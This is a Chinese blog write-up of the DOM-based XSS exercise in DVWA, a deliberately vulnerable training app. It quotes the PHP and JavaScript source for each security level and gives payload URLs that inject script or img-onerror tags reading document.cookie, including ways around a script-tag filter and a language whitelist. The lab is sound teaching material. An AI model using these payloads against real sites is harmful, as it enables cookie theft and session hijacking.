dvwa-XSS-DOM

DOM全称为Document Object Model即文档对象模型,是W3C制定的标准接口规范,是一种处理HTML和XML文件的标准API。DOM提供了对整个文档的访问模型,将文档作为一个树形结构。
而DOM型的XSS是一种基于文档对象模型(DOM)的一种漏洞。这种XSS与反射型XSS、存储型XSS有着本质的区别,它的攻击代码不需要服务器解析响应,触发XSS依靠浏览器的DOM解析,客户端的JavaScript脚本可以访问浏览器的DOM并修改页面的内容,不依赖服务器的数据,直接从浏览器获取数据并执行。

文档对象模型 (DOM) 将 web 页面与到脚本或编程语言连接起来。通常是指 JavaScript,但将 HTML、SVG 或 XML 文档建模为对象并不是 JavaScript 语言的一部分。DOM 模型用一个逻辑树来表示一个文档,树的每个分支的终点都是一个节点 (node),每个节点都包含着对象 (objects)。DOM 的方法 (methods) 让你可以用特定方式操作这个树,用这些方法你可以改变文档的结构、样式或者内容。节点可以关联上事件处理器,一旦某一事件被触发了,那些事件处理器就会被执行。

low

请求页面

1692472312469

http请求

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
GET /vulnerabilities/xss_d/?default=English HTTP/1.1
Host: localhost
sec-ch-ua:
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: ""
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.199 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://localhost/vulnerabilities/xss_d/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=1ekmlj5hkmfpg44br6ilefo6s2; security=low
Connection: close

响应页面

和请求页面几乎一样,下拉选框中多了个之前点击的语言。

low.php源码

low.php属于是放弃治疗了,直接不防了,空城计!

1
2
3
4
5
<?php

# No protections, anything goes

?>

index.php源码

document 表示的是一个文档对象,Location 对象包含有关当前 URL 的信息,href 属性是一个可读可写的字符串,可设置或返回当前显示的文档的完整 URL。也就是说 “document.location.href” 的写法得到页面的 URL,而 indexOf() 方法可返回某个指定的字符串值在字符串中首次出现的位置,这里用来判断 “default=” 是否在 URL 中。可以看到,scirpt标签中的代码document.write增加了表格下拉选项lang节点。关键部分源码:

1
2
3
4
5
if (document.location.href.indexOf("default=") >= 0) {
var lang = document.location.href.substring(document.location.href.indexOf("default=")+8);
document.write("<option value='" + lang + "'>" + $decodeURI(lang) + "</option>");
document.write("<option value='' disabled='disabled'>----</option>");
}

攻击思路

  • 修改default。发送http请求http://127.0.0.1/vulnerabilities/xss_d/?default=<script>alert(document.cookie)</script>

medium

源码

这次代码将<script过滤了,当匹配到<script字符串的时候就会将URL后面的参数修正为?Default=English,然后终止php运行。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php

// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {
$default = $_GET['default'];

# Do not allow script tags
if (stripos ($default, "<script") !== false) {
header ("location: ?default=English");
exit;
}
}

?>

攻击思路

既然只是过滤了<script字符串,我们另辟蹊径,利用其他HTML标签。

  • 利用img标签。发送http请求http://127.0.0.1/vulnerabilities/xss_d/?default=English</option></select><img src="" onerror=alert(document.cookie)>

    high

    源码

    服务器设置了白名单,default 参数只接受 French,English,German 以及 Spanish 这几个单词,不是这几个单词会默认为English。
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    <?php

    // Is there any input?
    if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {

    # White list the allowable languages
    switch ($_GET['default']) {
    case "French":
    case "English":
    case "German":
    case "Spanish":
    # ok
    break;
    default:
    header ("location: ?default=English");
    exit;
    }
    }

    ?>

攻击思路

仅限制了default,使用参数连接符号&尝试“无中生有”。

  • /?default=English&<script>alert(document.cookie)</script>
  • ?default=English&a=</option></select><img src="" onerror=alert(document.cookie)>

impossible

源码

放心交给客户端,大致意思是,而且protect,逼死强迫症。

1
2
3
4
5
<?php

# Don't need to do anything, protction handled on the client side

?>

dvwa-XSS-DOM
http://blog.lingyuanming.site/2022/06/06/dvwa-XSS-DOM/
作者
LYM
发布于
2022年6月6日
许可协议